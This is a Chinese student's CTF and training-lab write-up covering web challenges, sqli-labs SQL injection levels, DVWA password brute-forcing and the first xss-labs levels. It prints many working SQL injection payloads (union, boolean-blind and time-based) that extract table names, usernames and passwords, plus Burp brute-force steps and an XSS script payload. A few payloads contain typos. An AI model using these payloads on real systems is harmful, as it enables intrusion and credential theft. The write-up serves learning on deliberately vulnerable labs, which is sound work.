Rois冬令营题解

Week 1

Web

1.vue-terminal

http://117.50.180.151:3000/

用到了一些比较基础的Linux命令:ls cd cat

  • 首先获取next url /cd-t0-d1r

image-20240224143412918

  • 再将获取到的url添加到网页地址后面,继续进行下一个url的获取

image-20240224143615269

  • 注意!这里是f1ag,不是flag!!!卡了半天才发现。。。建议直接复制,不要手敲 以免眼睛一滑落入陷阱>_<

image-20240224143928226

  • 类似的,同样将获取到的url添加到网页地址后面,并使用cat command

image-20240224144117262

  • 最后就顺顺利利地拿到flag啦^_^(虽然简单,但是自己解决问题拿到标志之后还是会有小小的成就感!)

image-20240224144227226

算是跨出了第一步!!!

2.easy_PDD

http://124.70.99.199:8100
是兄弟就来砍一刀!
快分享给更多的人一起来砍价吧~
一种基于ip的检测技术

  • 根据提示,与ip有关,可利用burpsuite来破解

正确使用X-Forwarded-For

1.首先用bp拦截HTTP信息,并发送到repeater

image-20240224222621851

2.用X-Forwarded-For(简称XFF)进行ip检测

  • 后加任意4个数字eg:1.1.1.1

易错点

1.注意:X-Forwarded-For不能换行写,不能改变请求包的格式!!!不然就会请求失败!(错了无数次才找到原因!)

例如:下面这个做法是错误的:image-20240224223009373

  • 这样会导致X-Forwarded-For请求失败,ip无法识别

2.注意格式,一般要留两行空行!!!

例如:下面这个做法是错误的:

image-20240224223547767

  • 这样做会导致bp卡在这个界面无法加载!!!

而正确做法应该这样:

image-20240224223639195

使用intruder短时间内发出大量请求

  • 发送到intruder后添加§

image-20240224224000545

  • 设置payload

image-20240224224034869

  • 最后短时间内发出大量请求,获得flag

image-20240224224252600

image-20240224224314149

3.ez_maze

http://124.70.99.199:8200/
你能通关大土豆写的网页迷宫吗?

解法一

刚拿到这道题的时候,觉得很有趣,居然没两下就给玩儿通关了!而且因为第一次通关的时候忘记复制flag了,于是又玩了一遍,立马又通关了一次~(可能是我的电脑比较好操作)

解法二

非常抽象的做法,偶然间按倒回车键,发现撞墙框框重新弹了一遍,操作如下:

  • 鼠标移至红点
  • 按下回车键

居然就拿到了flag了,像个小bug

解法三

1.首先查看源代码

  • 直接右键 查看源代码
  • 键入Ctrl+U
  • 在网页地址前加上view-source:

image-20240224151604363

2.接下来按F12打开控制台

  • :如果所以快捷键都被禁掉了,可以先打开任意一个网页,先开控制台,再输入url即可

image-20240224151630522

3.最后在控制台输入flag,就可以拿到flag啦

image-20240224151644507

解法四

1.同理解法三先从网页前端取得源代码,将其复制到VScode

image-20240224151928594

2.用Ctrl+F搜索flag后,发现有对flag定义常量和三目运算符

image-20240224152208552

3.将0x2改为0x0,重新生成网页(记得改成html格式)

image-20240224152515327

4.接触白点就可以获取flag

4.HTTP_Challenge

[http://124.70.99.199:8300]

image-20240224171256293

根据题目要求

1.get传参变量ROIS=405

  • 打开buepsuite直接在url后加**?ROIS=405**

2.POST传参变量Vegetables=Potato

  • 右键点击修改请求方式

image-20240224202052816

  • 右栏这边ROIS会跑到post这边!!!需要手动修改!

  • 接下来再填入POST键值对

image-20240224202431736

卡了两个小时的点!!!,bp小bug?要记得手动修改参数!!!不然就会失败 \>_</

3.用管理员的身份登录

  • 使用burpsuite,在cookie中找到character=guest,将把guest改成admin

image-20240224202610064

4.更改IP访问

  • 添加X-Forwarded-For:127.0.0.1

image-20240224202926670

5.更改浏览器登陆:ROISRrowser

  • useragent:ROISBrowser

image-20240224203141849

6.最后就能顺利获得flag了

image-20240224203434232

极客大挑战

[极客大挑战 2019]Httphttps://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Http

  • 首先打开环境

image-20240225082711025

  • 没发现有啥有用的信息,查看一下源代码

image-20240225082848132

  • 发现有一个链接,在源代码中可以打开

image-20240225082824826

  • 打开链接访问

image-20240225083631484

(这里遇到了一些小问题,就是 goole浏览器出了些状况,打不开这里链接,而Microsoft虽然能打开但是没装插件,不能用bp拦截。最后解决方案是在Microsoft上安装插件,就能继续使用了)

image-20240225083724661

页面显示说请使用用Syclover browser,也就是又要伪造浏览器

  • 所以这里可以修改User-Agent:Syclover

image-20240225083928175

image-20240225084036291

这里页面又显示要求从当地ip访问

  • 所以我们可以利用XFF来修改ip

image-20240225084210413

  • 最后就获得flag啦

image-20240225084247817

最后提交就可以了(这个flag是图片,复制不了,还得一个一个手敲doge)

image-20240225082411858

攻防世界

1.view_source

题目来源:Cyberpeace-n3k0

题目描述:

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

题目场景:

http://61.147.171.105:65344

这道题考察如何查看网页源代码(在右键被禁的情况下)

  • 打开网页源代码后发现,有一串被注释掉的长得很像flag的代码

image-20240225224707718

  • 输入一试,还真是flag(属于非常easy的题目)

补充一下几个获取源代码的方法:

  • 直接右键 查看源代码
  • 键入Ctrl+U
  • 在网页地址前加上view-source:

2..robots

题目来源:Cyberpeace-n3k0

题目描述:

X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

题目场景:

http://61.147.171.105:61237

  • 首先获取场景后发现是个空白页面,根据提示搜一下robots协议

image-20240225225934734

image-20240225230352807

  • 可以看出robots协议主要内容就是查看一个站点根目录是否存在robots.txt文件,我们尝试输入:

image-20240225225956454

  • 发现成功进入下一个页面,它提示我们flag在f1ag_1s_h3re.php这个文件中,在url后添加f1ag_1s_h3re.php进入后得到flag,如图:

image-20240225230007765

image-20240225230051180

image-20240225230109733

3.backup

题目来源:Cyberpeace-n3k0

题目描述:

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

题目场景:

http://61.147.171.105:51203

  • 首先获取题目场景,显示如下

image-20240225230810048

  • 没啥思路,搜一下index.php的备份文件看看吧

image-20240225231326547

  • **尝试在URL后面,依次输入常见的文件备份扩展名:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” **

  • 发现只有index.php.bak有反应,且会自动下载一个文件

image-20240225230840036

image-20240225231015307

  • 选择一个应用打开文件

image-20240225231039788

  • 发现flag就在文件里面!

image-20240225230946688

题目来源:Cyberpeace-n3k0

题目描述:

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

题目场景:

http://61.147.171.105:51998

  • 首先获取场景,页面如下

image-20240225232029436

  • 我们知道,cookie是用来记住我们的登陆信息的
  • 这里尝试用bp抓包一下HTTP

image-20240225232530698

  • 发现cookie的信息为:look-here=cookie.php

image-20240225232604268

  • 这里尝试了半天才发现应该把cookie.php 放到请求头里

image-20240225232624697

  • 发送后发现页面改变

image-20240225232641262

  • 查看原始http,flag就跑出来啦

image-20240225232709645

5.disabled_button

题目来源:Cyberpeace-n3k0

题目描述:

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

题目场景:

http://61.147.171.105:65164

  • 首先进入场景

image-20240225233351426

  • 提示和前端知识有关,查看一下源代码

image-20240225233408780

  • 打开hackbar,可以看到因为disabled存在导致按钮点不开

image-20240225234835682

  • 直接删去disabled

image-20240225234922098

  • 这样就能点开按钮获得flag了

image-20240226124446571

6.get_post

题目来源:网络和平-n3k0

题目描述:

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

题目场景:

http://61.147.171.105:65170

首先我们知道,HTTP最常用的两种请求方法是GET和POST,那么下面就用bp来抓包一下

image-20240226124644535

  • 打开bp,在GET后面加上?a=1
  • 或者直接在右侧栏里添加查询变量

image-20240226124819063

  • 接下来再以POST方式请求另一个变量

image-20240226124909328

注:

  • 如果直接加POST变量,别忘了手动加上content type

  • 建议直接右键更改修改方式,好处在于可以自动补全content type

image-20240226125110121

  • 在右栏修改查询参数和主体参数(小漏洞,a的值跑到了POST的地方)

image-20240226125309245

  • 这样子就可以获得flag了

image-20240226125343778

7.ICS-06型

题目来源:XCTF公司

题目描述:

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

题目场景:

http://61.147.171.105:57244

  • 获取场景后发现页面都点不了,除了这个报表中心

image-20240226130946767

  • 进入报表中心后 注意到url里有个id=1

image-20240226131046830

  • 尝试用bp抓包后进行爆破

image-20240226131129577

image-20240226131157417

  • 发现在id=2333时长度变化

image-20240226130649706

  • 输入id=2333后获得flag

image-20240226130700108

8.培训-WWW-机器人

题目来源:

题目描述:暂无

题目场景:

http://61.147.171.105:54284

  • 获取场景

image-20240226131801954

  • 感觉很眼熟?和之前robots协议那题很像,于是在url后加上**/robots.txt**

image-20240226131749394

  • 进入下一个网页,提示用**/fl0g.php**

image-20240226132138786

  • 将其加到url后面

image-20240226131822424

  • 打开网页后即可获取flag

image-20240226131840494

9.weak_auth

题目来源:网络和平-n3k0

题目描述:

小宁写了一个登陆验证页面,随手就设了一个密码。

题目场景:

http://61.147.171.105:60473

  • 获取场景,进入一个登陆界面,先任意输入一段账号密码

image-20240226134543182

  • 弹出提示框,以admin的身份登陆

image-20240226134554511

  • 也就是在提示:用户名为admin,接下来再找出密码就可以了

image-20240226134615912

  • 密码没有思路,尝试一下用bp进行爆破

Tips

  • 这里最好最好1.开启burp,2.然后再打开bp拦截,输入任意一段密码 3.最后点击login
  • 这样子的话 拦截到的就是以“用户名admin,密码任意先敲一段”的登陆网页

image-20240226134657116

image-20240226134316944

  • 不要在登陆界面用burp进行拦截 因为这样子的话无法录入用户名和密码,就不好对密码进行修改爆破
  • 如果先开启bp拦截,再点burp的话,立马就会被拦截 而且是没有用户名和密码信息的状态!如下:

image-20240226134801113

  • 而如果带有用户名和密码信息,则如下:

image-20240226134925153

  • 下面我们只要对密码进行爆破就好了

image-20240226134248586

  • 这里用了一下一个“常用密码‘’的文件(网上随便找的一个)

image-20240226135012950

  • 爆破后对比长度,发现以123456为password时可以成功登陆网页,获取flag

image-20240226134217356

10.baby_web

题目来源:

题目描述:

想想初始页面是哪个

题目场景:

http://61.147.171.105:55199

  • 进入场景后发现只有HELLO WORLD

image-20240226141549766

  • 查阅一下资料:初始页面与index.php有关,于是输入index.php

image-20240226140925748

  • 发现还是没反应,试一下用bp抓包

image-20240226141341346

  • 在bp里将1.php改为index.php

image-20240226141355966

  • 欸,有变化了

image-20240226141417890

  • 查看原始HTTP,找到flag

image-20240226141432758

Week 2

SQL注入靶场[sqli-labs]

less-1

1.1首先判断是否存在sql注入

  • 进入靶场后,可以看到有以下提示:

image-20240305143159720

  • 于是用id=1来尝试(记得加上“?“,必须要英文的问号!!!)

image-20240305143304897

可以观察到,随着id值的改变,查询到的内容也在不断变化

image-20240305143348584

image-20240305143441434

image-20240305143450727

image-20240305143500392

image-20240305143508416

image-20240305143518899

image-20240305143526211

image-20240305143534688

image-20240305143542052

  • 一直到id=14都有内容

image-20240305143619221

image-20240305143629088

接下来我们来判断sql语句是否拼接,并且是字符型还是数字型
  • 输入?id=1'

image-20240305145852455

  • 尝试?id=1'--+

image-20240305150035968

可以根据结果指定是字符型存在sql注入漏洞

  • 因为该页面存在回显,所以我们可以使用联合查询。

联合查询就是两个sql语句一起查询

  • 两张表具有相同的列数
  • 且字段名是一样的。

1.2 联合注入

第一步:判断出列数

首先我们需要知道表格有几列

  • 如果显示正常就是没有超出列数,
  • 如果报错就是超过列数。

?id=1' order by 1--+来判断:

image-20240305150345965

image-20240305150352473

  • 发现从1到3都显示正常,而到了4时报错,说明列数为3
第二步:爆出显示位

就是看看表格里面那一列是在页面显示的。

通过下面代码来判断:

1
?id=-1'union select 1,2,3--+

image-20240305150822674

  • 可以看到是第二列和第三列里面的数据是显示在页面的。
第三步:获取当前数据库名
  • 这里涉及mysql数据库的一些函数

通过下面代码来获取:

1
?id=-1' union select 1,database(),version()--+

image-20240305151217952

  • 通过结果知道当前数据名是security,版本是5.7.26。

其实这一题用不到版本,所以这样子就可以了

1
?id=-1' union select 1,database(),3--+

image-20240305152727865


当然了,这样子也可以:

1
?id=-1' union select 1,2,database() --+

image-20240305152841700

各种方法都尝试一遍,多敲多尝试!增进印象 加深理解!!!


注意:(重点)

易错处:database不要打成datebase,并且这里不用加s

第四步: 爆表

通过下面代码来爆表:

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  • information_schema.tables表示该数据库下的tables表

  • 点”**.**“表示下一级

  • where后面是条件

  • group_concat()是将查询到结果连接起来

如果不用group_concat查询到的只有user。

  • 该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

img

结果如下:

image-20240305152222835

第五步:爆字段名

我们通过sql语句查询知道当前数据库有四个表

  • 根据表名知道可能用户的账户和密码是在users表中
  • 接下来我们就是得到该表下的字段名以及内容。
1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内r容。

  • 注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

image-20240305152453141

第六步:获取字段内容

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

  • 可以通过一个id可以隔一下账户和密码
1
?id=-1' select 1,2,group_concat(username,id,password) from users--+

image-20240305230253065

  • 也可以将账户和密码分开来查询
1
?id=-1' union 1,group_concat(username),group_concat(password) from users--+

image-20240305230411377

总结

  • 已知题目为get传参(若题目未给出,可以用bp拦截来判断)

  • 通过测试可以判断出是单引号闭合,开始注入

  • ?id=1' order by 4 --+:通过这段代码判断出字段数为3

  • ?id=1' and 1=2 union select 1,2,database() --+:爆出数据库名

  • ?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+:爆出所有表名

  • ?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+:爆出一个表中的所有字段名

  • ?id=1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+爆出用户名和密码

less-2

判断注入类型

1
?id=1

image-20240305231014881

1
?id=1'

image-20240305231048716


判断列数

1
?id=1 order by 3

image-20240305231215555

1
?id=1 order by 4

image-20240305231201072

  • 说明列数为3

1
?id=-1 union select 1,2,3

或者

1
?id=-1 and 1=2 union select 1,2,3 --+

image-20240305231645624


爆出数据库名

1
?id=-1 union select 1,database(),version()

或者:

1
?id=-1 and 1=2 union select 1,database(),version()--+

image-20240305232011512

  • 得到数据库名security

爆出表名

1
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

或者:

1
?id=-1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

易错:最后是table_schema ,不是table_name!!!

image-20240305232901610

  • 得到表名users

爆出字段名

1
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

或者:

1
?id=-1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20240305233920005

  • 得到字段名column_name

爆出用户名和密码

1
?id=-1 union select 1,group_concat(username),group_concat(password) from users

或者:

1
?id=-1 and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

image-20240305234446149

  • 最后就可以获取用户名和密码

less-3

1
?id=1

image-20240306152953984


1
?id=1'

image-20240306153011413

image-20240306153115135

1
?id=1\

image-20240306153052758


1
?id=1') and 1=1 --+

image-20240306153203643

1
?id=1') and 1=2 --+

image-20240306153215792


1
?id=1') order by 3 --+

image-20240306151400548

1
?id=1') order by 4 --+

image-20240306151432985


1
?id=-1') union select 1,2,3 --+

image-20240306151531735


1
?id=-1') union select 1,database(),version()--+

image-20240306151611346


1
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

image-20240306151808507


1
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20240306152305093


1
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

image-20240306152931363

总结

1
?id=1') --+
1
?id=1') order by 3--+
1
?id=-1') union select 1,2,3--+
1
?id=-1') union select 1,database(),version()--+
1
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
1
?id=-1;) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
1
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

less-4

1
?id=1

image-20240306165207076

1
?id=1'
1
?id=1\

image-20240306195500030

1
?id=1") --+

易错:是双引号 不是两个单引号!!!

image-20240306195533996


1
?id=1") order by 3--+

image-20240306171540138

1
?id=1") order by 4 --+

image-20240306171503084


1
?id=-1") union select 1,2,3 --+

image-20240306171637266


1
?id=-1") union select 1,database(),version()--+

image-20240306171744414


1
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240306171947698


1
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20240306172230656


1
?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

image-20240306172522272


总结

1
2
3
4
5
6
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

less-5

1
?id=1

image-20240306195205491

1
?id=1\

image-20240306195317488

1
?id=1' --+

image-20240306195152246


判断数据库长度

  • 利用**length()**函数获取数据库名的长度
1
?id=1' and length((select database()))>7--+

image-20240306195128491

1
?id=1' and length((select database()))>8--+

image-20240306195139567

  • 除了用”>“,还可以用”<“和”=“来判断
  • 例如数据库是haha那么length()就是4

  • 判断列数
1
?id=1' order by 3 --+

image-20240306202657353

1
?id=1' order by 4 --+

image-20240306202838253

  • 故字段数为3,有3列

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

  • 判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

  • 逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

  • 判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

  • 逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

  • 判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

  • 逐一检测内容。

less-6

第六关和第五关是差不多

  • 根据页面报错信息可以猜测id参数是双引号
  • 只需将第五关的单引号换成双引号就可以了。

less-7

第七关当在输入id=1,页面显示you are in…

  • 当我们输入id=1’时显示报错,但是没有报错信息

  • 当我们输入id=1”时显示正常

所以我们可以断定参数id是单引号字符串。

  • 因为单引号破坏了他原有语法结构。
  • 然后输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错
  • 试试是不是双括号输入id=1’))–+,发现页面显示正常。
  • 下面的过关手法和前面就一样了 布尔盲注

less-8

第八关和第五关一样

  • 只不过第八关没有报错信息
  • 但是有you are in..进行参照。
  • id参数是一个单引号字符串

less-9

第九关会发现我们不管输入什么页面显示的东西都是一样的

  • 这个时候布尔盲注就不适合我们用

  • 布尔盲注适合页面对于错误和正确结果有不同反应。

如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别

  • 只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)
  • 如果a结果是真的,那么执行sleep(10)页面延迟10秒
  • 如果a的结果是假,执行1,页面不延迟。
  • 通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+

  • 判断参数构造。
    ?id=1'and if(length((select database()))>9,sleep(5),1)--+
    • 判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

  • 逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

  • 判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

  • 逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

  • 判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

  • 逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

  • 判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

  • 逐一检测内容。

less10

第十关和第九关一样

  • 只需要将单引号换成双引号。

less11

从第十一关开始,可以发现页面就发生变化了,

  • 是账户登录页面。

那么注入点就在输入框里面。

  • 前十关使用的是get请求,参数都体现在url上面

  • 而从十一关开始是post请求,参数是在表单里面。

    我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。

当我们输入1时出现错误图片

image-20240309210846805

当我们输入1’,出现报错信息。根据报错信息可以推断该sql语句username=’参数’ and password=’参数’

image-20240309210904139

知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用–+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。

image-20240309210920894

image-20240309210930483

less-12

当我们输入1’和1时候页面没有反应

image-20240309210955156

当我们输入1”的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。

image-20240309211008605

image-20240309211014966

那么我们可以构造下面语句进行sql注入。

1
2
3
4
5
1" ) or 1=1 #判断是否存在sql注入。



1" ) union select 1,2#

image-20240309211033476

less-13

十三关和十二关差不多

  • 只需要将双引号换成单引号。

less-14

十四关和十一关差不多

  • 只需要将单引号换成双引号。

less-15

第十五关和第十一关一样

  • 只是不产生报错信息
  • 这就是明显的布尔盲注
  • 因为还有错误页面和正确页面进行参考。

less-16

第十六关和十二关一样,需要布尔盲注。

less-17

less-18

less-19

less-20

Web

DVWA

http://124.70.99.199:1111

这是一个DVWA靶场!账号是admin,密码是什么?你猜猜?
该靶场的flag就是密码经过md5加密后的字符串,格式如下:
ROIS{md5加密后的字符串}

  • 首先打开网址,进入一个登录界面

image-20240227224043270

  • 我们来使用bp抓包
  • 小技巧:先打开bp,后开启拦截,最后点login拦截

image-20240227224127832

image-20240227224154363

image-20240227224214213

  • 将拦截到的HTTP发送到intruder进行爆破

image-20240227224337934

  • 首先对passworduser_token添加payload

image-20240227224410186

  • 由于是含user_token的弱密码爆破,所以选用Pitchfork作为攻击类型

image-20240227224444109

  • 导入密码字典

image-20240227224527487

  • Payload2类型用Recursive grep

image-20240227224604892

  • 重点:这里有个小坑,必须开启重定向才能找到token值
  • 所以设置一个跟随重定向

image-20240227224637209

  • 添加value值

image-20240227224742006

  • 将刚刚复制的payload粘贴到这里

image-20240227224855887

  • 创建一个新的资源池,最大并发请求数为1

image-20240227224938640

  • 最后进行爆破就行了

image-20240227231136153

  • 成功进入界面,密码为password,将其进行md5加密

image-20240227231242926

  • 经过尝试,发现flag为32位小写字符串

image-20240227231336478

SQL注入小测试-easy

  • 提示我们以admin为用户名登录
  • 但是没有给出密码 需要另想办法

image-20240310091731425

  • 于是我们用SQL注入里的小技巧进行登陆
  • admin后面加上构造闭合
  • 再加上一个**#**,注释掉后面的内容 相当于跳过了对密码的识别

image-20240310091831742image-20240310091833050

  • 相当于只让它识别到我们以“admin”为用户名登陆
  • 而跳过了密码识别这个环节 因为被我们注释掉了
  • 所以随便敲一个密码登陆就行
  • 这样子就顺利的登陆进去啦

image-20240310091834082

  • 登陆成功就拿到flag

SQL注入小测试-normal

  • 首先看一下下提示(虽然好像没什么用)

image-20240310092617397

  • 进入登陆界面 emmmm用admin试一下

image-20240310092636381

  • 那测试一下注入点吧

image-20240310092656626

  • 用1‘的时候报错 说明存在闭合

image-20240310092716636

  • 加上#注释掉后面的内容 就可以输入id

image-20240310094016775

  • 那么就可以在id里面进行一些操作了
  • 这里我们先判断列数:
  • 先试一下2

image-20240310092901386

  • 再试一下3

image-20240310092934532

  • 试4的时候发现报错 就是不存在第4列的意思

image-20240310092953779

  • 4以后的都不行了
  • 于是确认列数为3

image-20240310093043460

  • 查询一下看看哪里有回显

image-20240310093117428

  • 欸 发现第2列有回显内容
  • 那就可以用来判断语句了
  • 先查数据库名

image-20240310093238755

  • 再查表名
1
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='normal'#

image-20240310093418794

  • 接下来查字段名也就是列名
1
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#

image-20240310093629606

  • 查询到username和password这两个字段名
  • 最后查它们的具体内容
1
-1' union select 1,group_concat(username,':',password),3 from users#

image-20240310093734752

  • flag就在password里

SQL注入小测试-hard

image-20240310114717280

  • 先测试注入

image-20240310114736263

  • 判断应该是单引号闭合

image-20240310114750142

  • 判断一下列数

image-20240310114815083

image-20240310115056025

  • 发现列数4不存在

image-20240310114839115

  • 确认列数为3后我们来查询一下看看哪个位置有回显

image-20240310114903598

  • 发现都没有回显!
  • 只有登陆成功和密码错误
  • 于是采用布尔盲注

布尔盲注需要用到python脚本,鉴于还没学习python语法 这里暂时没办法自己写脚本>_<

但是思路可以记一下

  • 先通过盲注来测试数据库的长度,类似靶场里的第五题 通过是否显示:“欢迎登陆”来判断我们的语句是否正确
  • 再获取数据库名 这里就需要对每一个字母都进行判断 相当于设置两个循环语句
  • 获取数据库名后再爆取表名 同样用ascii函数 对每一个字母判断一轮 然后一次次地获取整条字符串的信息
  • 然后以类似的方法获取字段名 其实和联合注入的方法有些类似
  • 然后在表里获取我们要的flag就行了 按照上一题的逻辑应该是放在“password”里面
  • 可见 如果不写脚本的话 布尔盲注的计算量是比较庞大的

Week 3

XSS攻击靶场[xss-labs]

在学习完xss的基本知识后,来练练靶场熟悉一下题目吧~

  • 先来了解一下这个靶场
  • xss就是让其执行js代码
  • 一般验证的都是alert()这个方法
  • 所以xss-lab给alert加了一个事件
  • 只要检测到我们运行了alert()
  • 就会弹出完成的不错,并且重定向到下一关

level-1

  • 首先我们进入靶场,并没有发现输入框

image-20240314181229876

  • 查看一下源代码

image-20240314173837644

  • GET传参,直接在url处添加参数
  • 把参数用script替代 就可以实现xss
  • 下面是弹窗的script标签代码:
1
<script>alert(1)</script>

image-20240314181504292

  • 这样子就完成了第一关

image-20240314181655871

level-2

  • 下面进入第二关

image-20240314182441750

  • 我们来分析一下源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">

<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
/*window.alert 覆盖了默认的 alert 函数,当调用 alert 函数时,会触发一个确认框。
确认框显示消息 "完成的不错!"。
如果用户点击确认,将会重定向到 "level3.php?writing=wait" 页面。
这段代码的目的是在用户完成某个任务后,自动跳转到下一个级别的页面。*/

<title>欢迎来到level2</title>//<title> 标签设置网页标题为 "欢迎来到level2"。

</head>
<body>
<h1 align=center>欢迎来到level2</h1>//<h1> 标签用于在网页中居中显示标题 "欢迎来到level2"。

<?php
ini_set("display_errors", 0);//ini_set("display_errors", 0); 禁用错误显示,以防止显示敏感信息。

$str = $_GET["keyword"];//$_GET["keyword"] 获取通过 GET 请求传递的名为 "keyword" 的参数的值。

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>//在网页中显示没有找到与用户输入的 "keyword" 参数相关的结果。

<form action=level2.php method=GET>//创建一个表单,将数据提交到 "level2.php" 页面,并使用 GET 方法。

<input name=keyword value="'.$str.'">//创建一个输入框,用于输入搜索关键字,并将之前用户输入的 "keyword" 参数的值作为默认值。

<input type=submit name=submit value="搜索"/>//创建一个提交按钮,用于提交搜索表单。
</form>
</center>';
?>

<center><img src=level2.png></center>//用于在网页中居中显示一个名为 "level2.png" 的图像。

<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";//在网页中显示用户输入的 "keyword" 参数的长度。
?>
</body>
</html>

以下是代码的主要部分:

  1. window.alert 覆盖了默认的 alert 函数,当调用 alert 函数时,会触发一个确认框。
    • 确认框显示消息 “完成的不错!”。
    • 如果用户点击确认,将会重定向到 “level3.php?writing=wait” 页面。
    • 这段代码的目的是在用户完成某个任务后,自动跳转到下一个级别的页面。
  2. <title> 标签设置网页标题为 “欢迎来到level2”。
  3. <h1> 标签用于在网页中居中显示标题 “欢迎来到level2”。
  4. PHP 代码部分:
    • ini_set("display_errors", 0); 禁用错误显示,以防止显示敏感信息。
    • $_GET["keyword"] 获取通过 GET 请求传递的名为 “keyword” 的参数的值。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"; 在网页中显示没有找到与用户输入的 “keyword” 参数相关的结果。
    • <form action=level2.php method=GET> 创建一个表单,将数据提交到 “level2.php” 页面,并使用 GET 方法。
    • <input name=keyword value="'.$str.'"> 创建一个输入框,用于输入搜索关键字,并将之前用户输入的 “keyword” 参数的值作为默认值。
    • <input type=submit name=submit value="搜索"/> 创建一个提交按钮,用于提交搜索表单。
    • echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; 在网页中显示用户输入的 “keyword” 参数的长度。
  5. <center><img src=level2.png></center> 用于在网页中居中显示一个名为 “level2.png” 的图像。

  • 从源代码中我们可以看到

  • 这次参数变成了keyword

  • 并且从页面获取参数之后,参数保存在str中


补充:

htmlspecialchars() 函数

htmlspecialchars()把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体


